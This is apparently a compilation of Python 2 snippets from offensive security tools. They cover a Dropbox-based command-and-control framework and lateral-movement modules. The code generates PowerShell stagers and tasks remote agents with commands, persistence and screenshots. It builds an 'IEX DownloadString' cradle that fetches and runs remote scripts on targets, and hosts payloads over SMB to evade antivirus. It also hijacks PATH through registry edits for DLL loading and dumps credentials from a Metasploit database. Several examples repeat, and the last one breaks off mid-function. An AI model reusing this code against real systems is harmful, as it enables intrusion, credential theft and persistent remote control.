Example #1
0
	def genStager(self, stagerType, stageName):

		# These are the common parameters required by the various stager (powershell or other) script
		stagerParameters = { 'stagePublicURL': self.statusHandler.publishedStageList[stageName], 'xorKey': Crypto.convertKey(self.statusHandler.masterKey, outputFormat = "sha256"), 'masterKey': helpers.b64encode(self.statusHandler.masterKey), 'accessToken': self.dropboxHandler.token }
		
		if stagerType == "oneliner":
			print
			print helpers.color(stagers.GenStager.oneLiner(stagerParameters), 'green')
			print
			print helpers.color("[*] HINT: You can use this powershell oneliner as is, or with one of the fantastic 'Nishang' client side attack vector generator")
			return
		elif stagerType == "batch":
			stagers.GenStager.batch(stagerParameters)
			return
		elif stagerType == "batch2":
			stagers.GenStager.batch2(stagerParameters)
			return
		elif stagerType == "macro":
			stagers.GenStager.macro(stagerParameters)
			return
		elif stagerType == "msbuild":
			stagers.GenStager.msbuild(stagerParameters)
			return
		elif stagerType == "javascript":
			stagers.GenStager.javascript(stagerParameters)
			return
		elif stagerType == "javascript2":
			stagers.GenStager.javascript2(stagerParameters)
			return
		elif stagerType == "ducky":
			stagers.GenStager.ducky(stagerParameters)
			return
		elif stagerType == "sct":
			stagers.GenStager.sct(stagerParameters)
			return
Example #2
0
    def getMSFHosts(self):
        """
        Query the MSF database for unique hosts and return them as a list.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color(
                "\n [!] Not currently connected to the MSF database\n",
                warning=True)
            return ""

        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            # execute the query for unique host addresses
            cur.execute('SELECT DISTINCT address from %s.public.hosts;' %
                        self.databasename)

            # get ALL the results and close off our cursor
            results = cur.fetchall()
            cur.close()

            # flatten the tuples into a list
            hosts = [element for tupl in results for element in tupl]

            return hosts
Example #3
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        trigger_method = "wmis"

        for target in self.targets:

            # reg.exe command to query the domain group
            command = "whoami /user"
            result = command_methods.executeResult(target, username, password,
                                                   command, trigger_method)

            if result == "":
                self.output += "[!] No result file, query for domain sid '" + group + "'' failed on " + target + "\n"
            else:
                sid = ""
                for line in result.split("\n"):
                    if "S-" in line:
                        user, sid_full = line.split()
                        # extract the domain sid from the results
                        sid = "-".join(sid_full.split("-")[:-1])
                        print helpers.color("\n\n [*] Domain sid: " + sid)
                        time.sleep(2)
                        self.output += "[*] Domain sid extracted using creds '" + username + ":" + password + "' on " + target + ": " + sid + "\n"
                if sid == "":
                    self.output += "[!] Couldn't extract domain sid from results using creds '" + username + ":" + password + "' on " + target + "\n"
Example #4
0
    def getMSFCreds(self):
        """
        Query the MSF database for credentials and return them as a list.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color(
                "\n [!] Not currently connected to the MSF database\n",
                warning=True)
            return ""

        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            # execute the query for creds -> gotta join the creds, services and hosts tables
            cur.execute(
                'SELECT hosts.address, services.port, creds.user, creds.pass FROM msf3.public.creds creds INNER JOIN msf3.public.services services on creds.service_id = services.id INNER JOIN msf3.public.hosts on services.host_id = hosts.id;'
            )

            # get ALL the results and close off our cursor
            creds = cur.fetchall()
            cur.close()

            return creds
Example #5
0
	def do_cli(self, args):
		"""Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)"""
		
		if not self.currentAgentID:
			print(helpers.color("[!] No agent selected.\nUse the 'list' command to get the list of available agents, then 'use' to select one"))
			return

		print helpers.color("[*] Switching to CLI mode")
		print helpers.color("[*] Use the command 'back' to exit CLI mode")
		
		while True:
			cli = raw_input("[{}-cli]#> ".format(self.currentAgentID))
			if cli:
				if cli == 'back':
					return
				else:
					request = helpers.b64encode('cli')+'|'+helpers.b64encode(cli)

					# Send message to the main thread for dispatching
					self.c2mQueue.put({'type': 'request', 'value': request})

					# Wait for main thread's answer, block until we get an answer
					response = self.m2cQueue.get()

					if response['type'] == 'response':
						print helpers.b64decode(response['value'])
					elif response['type'] == 'disconnected':
						self.prompt = "[no agent]#> "
						self.currentAgentID = None
						return
Example #6
0
def deleteFileConn(smbConn, share, fileName):
    """
    Deletes the specified share\\fileName from an established SMB connection.

    Returns "success" if file is uploaded, "" otherwise
    """

    # if the share isn't specified, default to C$
    if not share or share == "":
        share = "C$"

    # get the remote IP for this smb connection
    target = smbConn.getRemoteHost()

    try:
        try:
            # issue the smb command to delete the file
            smbConn.deleteFile(share,fileName)
            print helpers.color("\n [*] File "+share+"\\"+fileName+" successfully deleted from "+target)
            return "success"
        
        # sanity check in case 'fileName' doesn't exist
        except IOError as e:
            print helpers.color("\n [!] File "+fileName+" doesn't exist!", warning=True)

    # try to do a bit of error handling
    except Exception as e:
        if "The NETBIOS connection with the remote host timed out" in str(e):
            print helpers.color("\n [!] The NETBIOS connection with "+target+" timed out", warning=True)
        elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
            print helpers.color("\n [!] SMB file delete of "+fileName+" unsuccessful on " + target + " : file not found!", warning=True)
        else:
            print helpers.color("\n [!] SMB file delete of "+fileName+" unsuccessful on " + target, warning=True)

    return ""
def executeResult(target,
                  username,
                  password,
                  cmd,
                  triggerMethod="wmis",
                  pause=1):
    """
    This is one of the main command interface method everyone should use!

    Wrapper to call wmisExecuteResult() or winexeExecuteResult() 
    depending on the trigger method passed, defaulting to 'wmis'.

    'pause' is the number of seconds between execution of the command
    and the grabbing of the temporary file, defaults to 1 second

    Returns the result of the command on success, and "failure" on failure.
    """

    if triggerMethod.lower() == "wmis":
        return wmisExecuteResult(target, username, password, cmd, pause)
    elif triggerMethod.lower() == "winexe":
        return winexeExecuteResult(target, username, password, cmd, pause)
    elif triggerMethod.lower() == "smbexec":
        return smbexecExecuteResult(target, username, password, cmd)
    else:
        print helpers.color(
            " [!] Error: please specify wmis, winexe, or smbexec for a trigger method",
            warning=True)
        return "failure"
Example #8
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        outFile = self.required_options["out_file"][0]

        if "\\" not in outFile:
            # otherwise assume it's an absolute path
            outFile = "C:\\Windows\\Temp\\" + outFile 

        for target in self.targets:

            targetUsernames = []

            command = "echo IPCONFIG:>>%(p)s&ipconfig /all>>%(p)s&echo ARP:>>%(p)s&arp -a>>%(p)s&echo NET USERS:>>%(p)s&net users>>%(p)s&echo NET SESSIONS:>>%(p)s&net sessions>>%(p)s&echo QWINSTA:>>%(p)s&qwinsta>>%(p)s&echo NETSTAT:>>%(p)s&netstat -nao>>%(p)s&echo TASKLIST:>>%(p)s&tasklist /v>>%(p)s&echo SYSTEMINFO:>>%(p)s&systeminfo>>%(p)s" %{"p":outFile}

            # execute the command
            result = command_methods.executeCommand(target, username, password, command, triggerMethod)

            # wait 20 seconds for "systeminfo" to run
            print helpers.color("\n [*] Waiting 20 seconds for enumeration commands to run on '"+target+"'", status=True)
            time.sleep(20)

            # # grab the output file and delete it
            out = smb.getFile(target, username, password, outFile, delete=True)

            if out != "":
                # save the file off to the appropriate location
                saveFile = helpers.saveModuleFile(self, target, "enum_host.txt", out)
                self.output += "[*] enum_host results using creds '"+username+":"+password+"' on "+target+" stored at "+saveFile+"\n"
            else:
                self.output += "[!] enum_host failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
Example #9
0
    def getMSFCreds(self):
        """
        Query the MSF database for credentials and return them as a list.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True)
            return ""

        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            # execute the query for creds -> gotta join the creds, services and hosts tables
            #cur.execute('SELECT hosts.address, services.port, creds.user, creds.pass FROM %s.public.creds creds INNER JOIN %s.public.services services on creds.service_id = services.id INNER JOIN %s.public.hosts on services.host_id = hosts.id;' % tuple([self.databasename]*3))
            
            # Above is the previous check. The current structure uses the tables and joins as below.
            cur.execute('SELECT realms.value, services.port, publics.username, privates.data FROM %s.public.metasploit_credential_cores cores \
                LEFT JOIN %s.public.metasploit_credential_privates privates ON cores.private_id = privates.id \
                LEFT JOIN %s.public.metasploit_credential_publics publics ON cores.public_id = publics.id \
                LEFT JOIN %s.public.metasploit_credential_origin_services oservices ON cores.origin_id = oservices.id \
                LEFT JOIN %s.public.services ON oservices.service_id = services.id \
                LEFT JOIN %s.public.metasploit_credential_realms realms ON cores.realm_id = realms.id;' % tuple([self.databasename]*6)) 
            # get ALL the results and close off our cursor
            creds = cur.fetchall()
            cur.close()

            return creds
Example #10
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        trigger_method = "wmis"

        for target in self.targets:
            
            # reg.exe command to query the domain group
            command = "whoami /user"
            result = command_methods.executeResult(target, username, password, command, trigger_method)

            if result == "":
                self.output += "[!] No result file, query for domain sid '"+group+"'' failed on " + target + "\n"
            else:
                sid = ""
                for line in result.split("\n"):
                    if "S-" in line:
                        user,sid_full = line.split()
                        # extract the domain sid from the results
                        sid = "-".join(sid_full.split("-")[:-1])
                        print helpers.color("\n\n [*] Domain sid: "+sid)
                        time.sleep(2)
                        self.output += "[*] Domain sid extracted using creds '"+username+":"+password+"' on " + target + ": "+sid+"\n"
                if sid == "":
                    self.output += "[!] Couldn't extract domain sid from results using creds '"+username+":"+password+"' on " + target + "\n"
Example #11
0
    def taskAgentWithLaunchProcess(self, exePath, parameters):
        # Create a task
        task = self.statusHandler.createTask(self.agentID,
                                             "launchProcess",
                                             args=[exePath, parameters])

        # Prepare the task format, then put the task into the command file
        data = "launchProcess\n{}\n{}\n{}\n{}".format(task['id'], exePath,
                                                      parameters,
                                                      helpers.randomString(16))
        aes = AES.new(key, AES.MODE_CBC, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(data)
        cipher = aes.encrypt(pad_text)
        decodedData = base64.b64encode(cipher)
        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            decodedData)

        if r is not None:
            # Commit this task for the current agent
            self.statusHandler.commitTask(task)
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                format(self.agentID, task['id']))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Example #12
0
    def getMSFCreds(self):
        """
        Query the MSF database for credentials and return them as a list.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color(
                "\n [!] Not currently connected to the MSF database\n",
                warning=True)
            return ""

        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            # execute the query for creds -> gotta join the creds, services and hosts tables
            #cur.execute('SELECT hosts.address, services.port, creds.user, creds.pass FROM %s.public.creds creds INNER JOIN %s.public.services services on creds.service_id = services.id INNER JOIN %s.public.hosts on services.host_id = hosts.id;' % tuple([self.databasename]*3))

            # Above is the previous check. The current structure uses the tables and joins as below.
            cur.execute(
                'SELECT realms.value, services.port, publics.username, privates.data FROM %s.public.metasploit_credential_cores cores \
                LEFT JOIN %s.public.metasploit_credential_privates privates ON cores.private_id = privates.id \
                LEFT JOIN %s.public.metasploit_credential_publics publics ON cores.public_id = publics.id \
                LEFT JOIN %s.public.metasploit_credential_origin_services oservices ON cores.origin_id = oservices.id \
                LEFT JOIN %s.public.services ON oservices.service_id = services.id \
                LEFT JOIN %s.public.metasploit_credential_realms realms ON cores.realm_id = realms.id;'
                % tuple([self.databasename] * 6))
            # get ALL the results and close off our cursor
            creds = cur.fetchall()
            cur.close()

            return creds
Example #13
0
    def run(self):

        # assume single set of credentials (take the first one)
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        lhost = self.required_options["lhost"][0]

        for target in self.targets:

            existingPath, newPath = "", ""

            # reg.exe to get the current path
            pathCMD = "reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path"
            pathResult = command_methods.executeResult(target, username,
                                                       password, pathCMD,
                                                       triggerMethod)

            # parse the PATH output
            parts = pathResult.split("\r\n")
            # check if we get a valid result
            if parts[1].startswith("HKEY"):
                regParts = parts[2].split()
                existingPath = " ".join(regParts[2:])

            if existingPath != "":
                newPath = "\\\\" + lhost + "\\system\\;" + existingPath
            else:
                print helpers.color(" [!] Error: No path found\n",
                                    warning=True)

            regCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \"" + newPath + "\""

            regResult = command_methods.executeResult(target, username,
                                                      password, regCMD,
                                                      triggerMethod)

            if regResult == "":
                self.output += "[!] No result file, reg PATH set failed using creds '" + username + ":" + password + "' on : " + target + "\n"
            elif "The operation completed successfully." in regResult:
                self.output += "[*] reg PATH successfully set with \\\\" + lhost + "\\system using creds '" + username + ":" + password + "' on : " + target + "\n"

                # add in our cleanup command to restore the original PATH
                cleanupCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \"" + existingPath + "\""
                self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + cleanupCMD + "|" + triggerMethod + "\n"

                # allow \\UNC loading in %PATH% :)
                regCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 0"
                regResult2 = command_methods.executeResult(
                    target, username, password, regCMD2, triggerMethod)
                self.output += "[*] reg command to allow UNC loading successfully set using creds '" + username + ":" + password + "' on : " + target + "\n"
                # cleanup -> make everything more secure by disable UNC/SMB loading
                cleanupCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 2"
                self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + cleanupCMD2 + "|" + triggerMethod + "\n"
            else:
                self.output += "[!] reg PATH set failed using creds '" + username + ":" + password + "' on : " + target + "\n"

        # print a message if command succeeded on at least one box
        if self.output != "":
            self.output += "[*] run ./tools/dll_monitor.py to monitor for .dll hijacking"
Example #14
0
	def do_sleep(self, args):
		"""sleep <amount of time>\nInstruct the current agent to sleep for a given amount of time. Amount of time is a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[0-59]m\nExample:\nsleep 1d12h45m"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: sleep <amount of time>")
			return
		try:
			days = args[0:args.index('d')]
			hours = args[args.index('d')+1:args.index('h')]
			minutes = args[args.index('h')+1:args.index('m')]
		except ValueError:
			print helpers.color("[!] Wrong format for 'amount of time'. Must be a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[1-59]m\nExample: sleep 1d12h45m")
			return
		
		if not helpers.stringIsInt(days) or not helpers.stringIsInt(hours) or not helpers.stringIsInt(minutes):
			print helpers.color("[!] Wrong format for 'amount of time'. Must be a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[1-59]m\nExample: sleep 1d12h45m")
			return
		
		sleepTime = int(days)*86400 + int(hours)*60 + int(minutes)
		if sleepTime == 0: print helpers.color("[!] Wrong 'amount of time': Agent cannot sleep for 0 minute, must be at least 1 minute")
		else: self.agentHandler.taskAgentWithSleep(sleepTime)
Example #15
0
def deleteFileConn(smbConn, share, fileName):
    """
    Deletes the specified share\\fileName from an established SMB connection.

    Returns "success" if file is uploaded, "" otherwise
    """

    # if the share isn't specified, default to C$
    if not share or share == "":
        share = "C$"

    # get the remote IP for this smb connection
    target = smbConn.getRemoteHost()

    try:
        try:
            # issue the smb command to delete the file
            smbConn.deleteFile(share,fileName)
            print helpers.color("\n [*] File "+share+"\\"+fileName+" successfully deleted from "+target)
            return "success"
        
        # sanity check in case 'fileName' doesn't exist
        except IOError as e:
            print helpers.color("\n [!] File "+fileName+" doesn't exist!", warning=True)

    # try to do a bit of error handling
    except Exception as e:
        if "The NETBIOS connection with the remote host timed out" in str(e):
            print helpers.color("\n [!] The NETBIOS connection with "+target+" timed out", warning=True)
        elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
            print helpers.color("\n [!] SMB file delete of "+fileName+" unsuccessful on " + target + " : file not found!", warning=True)
        else:
            print helpers.color("\n [!] SMB file delete of "+fileName+" unsuccessful on " + target, warning=True)

    return ""
Example #16
0
    def do_polling(self, args):
        """polling <period> [deviation]\nSet the current agent polling period (seconds), with an optionnal deviation (percentage) between 10 and 50"""

        if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
            print helpers.color(
                "[!] Agent can't be tasked (either because it's DEAD or already tasked with something)"
            )
            return

        # Checking args
        if not args:
            print helpers.color(
                "[!] Missing arguments. Command format: polling <period> [deviation]"
            )
            return

        arguments = args.split()
        try:
            period = int(arguments[0])
            deviation = int(arguments[1]) if len(arguments) > 1 else 50
        except ValueError:
            print helpers.color("[!] Arguments must be proper integers")
            return

        if period < 0:
            print helpers.color("[!] Period cannot be a negative number")
            return
        if deviation not in range(10, 51):
            print helpers.color("[!] Deviation can only be between 1 and 50%")
            return

        self.agentHandler.taskAgentWithNewPolling(period, deviation)
Example #17
0
	def do_screenshot(self, args):
		"""screenshot\nTake a screenshot of the agent screen, in JPG format, and download it"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		self.agentHandler.taskAgentWithScreenshot()
Example #18
0
	def deletePublishedStage(self, stageName):

		stageFileName = "/" + stageName + ".aa"
		if self.dropboxHandler.deleteFile(stageFileName) is not None:
			self.statusHandler.removeStage(stageName)
			print helpers.color("[*] Published stage [{}] has been successfully deleted from C2 server".format(stageName))
		else:
			print helpers.color("[!] Error deleting published stage [{}] from C2 server".format(stageName))
Example #19
0
	def deletePublishedModule(self, moduleName):

		moduleFileName = "/" + moduleName + ".mm"
		if self.dropboxHandler.deleteFile(moduleFileName) is not None:
			self.statusHandler.removeModule(moduleName)
			print helpers.color("[*] Published module [{}] has been successfully deleted from C2 server".format(moduleName))
		else:
			print helpers.color("[!] Error deleting published module [{}] from C2 server".format(moduleName))
Example #20
0
    def taskAgentWithRunPSModule(self,
                                 moduleName,
                                 moduleArgs=None,
                                 interact=False):

        # Construct the powershell code from a template, substituting palceholders with proper parameters
        parameters = {
            'moduleURL': self.statusHandler.publishedModuleList[moduleName],
            'moduleName': moduleName
        }
        poshCmd = helpers.convertFromTemplate(
            parameters, cfg.defaultPath['runPSModuleTpl'])
        if poshCmd == None: return

        # Add module arguments if ever
        if moduleArgs:
            poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format(
                moduleArgs)

        # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode
        if interact:
            self.taskAgentWithShell(poshCmd)
        else:
            task = self.statusHandler.createTask(self.agentID,
                                                 "runPSModule",
                                                 args=[moduleName, moduleArgs])

            # Turn the powershell code into a suitable powershell base64 encoded one line command
            # base64Payload = helpers.powershellEncode(poshCmd)

            # Create the final command
            # cmd = "powershell.exe -NoP -sta -NonI -Enc {}".format(base64Payload)
            cmd = poshCmd
            # Prepare the task format, then put the task into the command file
            data = "runPS\n{}\n{}\n{}".format(task['id'], cmd,
                                              helpers.randomString(16))

            aes = AES.new(key, AES.MODE_CBC, iv)
            encoder = PKCS7Encoder()
            pad_text = encoder.encode(data)
            cipher = aes.encrypt(pad_text)
            decodedData = base64.b64encode(cipher)

            r = self.dropboxHandler.putFile(
                self.statusHandler.getAgentAttribute(self.agentID,
                                                     'commandFile'),
                decodedData)

            if r is not None:
                # Commit this task for the current agent
                self.statusHandler.commitTask(task)
                print helpers.color(
                    "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                    format(self.agentID, task['id']))
            else:
                print helpers.color(
                    "[!] Error tasking agent with ID [{}]".format(
                        self.agentID))
Example #21
0
	def do_putFile(self, args):
		"""putFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used"""

		if not self.currentAgentID:
			print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one")
			return

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: putFile <local file> [destination path]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		localFile = arguments[0]
		
		# Path normalization for Windows
		if len(arguments) > 1:
			# Add a trailing backslash if missing and replace forward slashes to backslashes
			destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\")
		else:
			destinationPath = "temp"
		
		# Check local file actually exists
		if os.path.isfile(localFile):
			fileName = os.path.basename(localFile)
			
			# Open local file and base64 encode it
			try:
				with open(localFile) as fileHandle:
					fileBytesEncoded = helpers.b64encode(fileHandle.read())
					fileHandle.close()

					request = helpers.b64encode('tfc22a')+'|' \
								+fileBytesEncoded+'|' \
								+helpers.b64encode(destinationPath)+'|' \
								+helpers.b64encode(fileName)

					# Send message to the main thread for dispatching
					self.c2mQueue.put({'type': 'request', 'value': request})

					# Wait for main thread's answer
					response = self.m2cQueue.get()

					if response['type'] == 'response':
						print helpers.b64decode(response['value'])
					elif response['type'] == 'disconnected':
						self.prompt = "[no agent]#> "
						self.currentAgentID = None
						return
			except IOError:
				print helpers.color("[!] Could not open or read file [{}]".format(localFile))
		else:
			print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
Example #22
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        group = self.required_options["group"][0]

        triggerMethod = "winexe"

        for target in self.targets:

            targetUsernames = []

            # reg.exe command to query the domain group
            # we want to do this on each box so we can operate across domains!
            command = "net group \"%s\" /domain" % (group)
            result = command_methods.executeResult(target, username, password,
                                                   command, triggerMethod)

            # TODO: sanity check that we get a correct file back?

            # find the ---------- marker, get the bottom half, split by newline
            # and extract just the name fields
            nameParts = result[result.find("-----"):].split("\r\n")[1:-3]
            for part in nameParts:
                targetUsernames.extend(part.lower().split())

            # check the task list on the host
            taskListResult = command_methods.executeResult(
                target, username, password, "tasklist /V /FO CSV",
                triggerMethod)

            # check the sessions list on the host
            sessionsResult = command_methods.executeResult(
                target, username, password, "qwinsta", triggerMethod)

            print ""

            # for each username in our target list, see if they show up in the queried results
            for u in targetUsernames:
                if u.lower() in taskListResult.lower():
                    self.output += "[*] User '%s\\%s' has a process on %s\n" % (
                        group, u, target)
                    print helpers.color(
                        "\n [*] User '%s\\%s' has a process on %s!" %
                        (group, u, target))
                    time.sleep(1)
                if u.lower() in sessionsResult.lower():
                    self.output += "[*] User '%s\\%s' has a session on %s\n" % (
                        group, u, target)
                    print helpers.color(
                        " [*] User '%s\\%s' has a session on %s!" %
                        (group, u, target))
                    time.sleep(1)

        # if we have no results, add message to the output
        if self.output == "":
            self.output = "[!] No users found\n"
Example #23
0
def hostTrigger(targets, username, password, exePath, localHost, triggerMethod="wmis", exeArgs=""):
    """
    Spins up an Impacket SMB server and hosts the binary specified by exePath.
    The specified triggerMethod (default wmis) is then used to invoke a command
    with the UNC path "\\localHost\\exe" which will invoke the specified
    executable purely in memory.

    Note: this evades several AV vendors, even with normally disk-detectable
    executables #avlol :)

    This takes 'targets' instead of a single 'target' since we don't want to set up
    and tear down the local SMB server every time.
    """

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # randomize the hosted .exe file name
    hostedFileName = helpers.randomString() + ".exe"

    # make the tmp hosting directory if it doesn't already exist
    if not os.path.exists(settings.TEMP_DIR + "shared/"): 
        os.makedirs(settings.TEMP_DIR + "shared/")

    # copy the payload to the random hostedFileName in the temp directory
    os.system("cp "+exePath+" /"+settings.TEMP_DIR+"/shared/" + hostedFileName)

    # spin up the SMB server 
    server = smb.ThreadedSMBServer()
    server.start()
    time.sleep(.5)

    # build the UNC path back to our host and executable and any specified arguments
    cmd = "\\\\" + localHost + "\\system\\" + hostedFileName+" "+exeArgs

    for target in targets:
        # execute the UNC command for each target
        command_methods.executeCommand(target, username, password, cmd, triggerMethod)

    print helpers.color("\n [*] Giving time for commands to trigger...")
    # sleep so the wmis/winexe commands can trigger and the target
    # can grab the .exe from the SMB server
    time.sleep(10)

    # shut the smb server down
    server.shutdown()

    # remove the temporarily hosted files
    os.system("rm -rf " + settings.TEMP_DIR+"/shared/")

    # not sure if need to do this to kill off the smb server...
    # os.kill(os.getpid(), signal.SIGINT) ?

    # return the randomized name in the calling method later wants
    # to clean the processes up
    return hostedFileName
Example #24
0
	def do_stop(self, args):
		"""stop\nStop the current agent"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		confirmation = raw_input(helpers.color("[!] Ask remote agent to stop itself? Are you sure? (y/N) "))
		if confirmation.lower() == 'y':
			self.agentHandler.taskAgentWithStop()
Example #25
0
	def do_cmd(self, args):
		"""Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		userCmd = raw_input("Command: ")
		if userCmd:
			self.agentHandler.taskAgentWithCLI(userCmd)
Example #26
0
	def do_persist(self, args):
		"""persist\nEnable agent persistency by the means of a scheduled task"""

		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		confirmation = raw_input(helpers.color("[!] Set agent persistency? Are you sure? (y/N) "))
		if confirmation.lower() == 'y':
			self.agentHandler.taskAgentWithPersist()
def powershellTrigger(targets,
                      username,
                      password,
                      url,
                      scriptArguments="",
                      triggerMethod="wmis",
                      outFile=None,
                      noArch=False):
    """
    Trigger a specific url to download a powershell script from.

    url                 - the full url (http/https) to download the second stage script from
    scriptArguments     - the arguments to pass to the script we're invoking
    outFile             - if you want to the script to output to a file for later retrieval, put a path here
    noArch              - don't do the arch-independent launcher
    """

    # this surpasses the length-limit implicit to smbexec I'm afraid :(
    if triggerMethod.lower() == "smbexec":
        print helpers.color(
            "\n\n [!] Error: smbexec will not work with powershell invocation",
            warning=True)
        raw_input(" [*] press any key to return: ")
        return ""

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # if the url doesn't start with http/https, assume http
    if not url.lower().startswith("http"):
        url = "http://" + url

    if scriptArguments.lower() == "none": scriptArguments = ""

    # powershell command to download/execute our secondary stage,
    #   plus any scriptArguments we want to tack onto execution (i.e. PowerSploit)
    # for https, be sure to turn off warnings for self-signed certs in case we're hosting
    if url.lower().startswith("https"):
        downloadCradle = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (New-Object Net.WebClient).DownloadString('" + url + "');" + scriptArguments

    else:
        downloadCradle = "IEX (New-Object Net.WebClient).DownloadString('" + url + "');" + scriptArguments

    # get the encoded powershell command
    triggerCMD = helpers.encPowershell(downloadCradle, noArch=noArch)

    # if we want to get output from the final execution, append it
    if outFile: triggerCMD += " > " + outFile

    # execute the powershell trigger command on each target
    for target in targets:
        print "\n [*] Executing command on " + target
        out = command_methods.executeCommand(target, username, password,
                                             triggerCMD, triggerMethod)
Example #28
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        spawnHandler = self.required_options["spawn_handler"][0]

        # create our powershell payload
        p = virtual.Payload()

        # pull out any msfpayload payloads/options
        if self.args.msfpayload:
            p.shellcode.SetPayload(
                [self.args.msfpayload, self.args.msfoptions])

        # set custom shellcode if specified
        elif self.args.custshell:
            p.shellcode.setCustomShellcode(self.args.custshell)

        # get the powershell command
        powershellCommand = p.generate()

        # re-print the title and module name after shellcode generation (Veil-Evasion trashes this)
        messages.title()
        sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) +
                         "...")

        # if we're using Veil-Evasion's generated handler script, try to spawn it
        if spawnHandler.lower() == "true":
            # turn the payload shellcode object into a handler script
            handlerPath = helpers.shellcodeToHandler(p.shellcode)
            # make sure a handler was returned
            if handlerPath != "":
                # command to spawn a new tab
                cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\""
                # invoke msfconsole with the handler script in a new tab
                os.system(cmd)
                raw_input("\n\n [>] Press enter when handler is ready: ")

        for target in self.targets:

            print helpers.color(" [*] Triggering powershell command on " +
                                target)

            # execute the powershell command on each host
            command_methods.executeCommand(target, username, password,
                                           powershellCommand, triggerMethod)

            self.output += "[*] Powershell inject command triggered using creds '" + username + ":" + password + "' on " + target + " with " + triggerMethod + "\n"

            # build our cleanup file -> kill all powershell processes
            killCMD = "taskkill /f /im powershell.exe"
            self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + killCMD + "|" + triggerMethod + "\n"
Example #29
0
    def taskAgentWithRunPSModule(self,
                                 moduleName,
                                 moduleArgs=None,
                                 interact=False):

        # Construct the powershell code from a template, substituting palceholders with proper parameters
        xorKey = Crypto.convertKey(self.statusHandler.masterKey,
                                   outputFormat="sha256")
        parameters = {
            'xorKey': xorKey,
            'moduleURL': self.statusHandler.publishedModuleList[moduleName]
        }
        poshCmd = helpers.convertFromTemplate(
            parameters, cfg.defaultPath['runPSModuleTpl'])
        if poshCmd == None: return

        # Add module arguments if ever
        if moduleArgs:
            poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format(
                moduleArgs)

        # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode
        if interact:
            self.taskAgentWithShell(poshCmd)
        else:
            task = self.statusHandler.createTask(self.agentID,
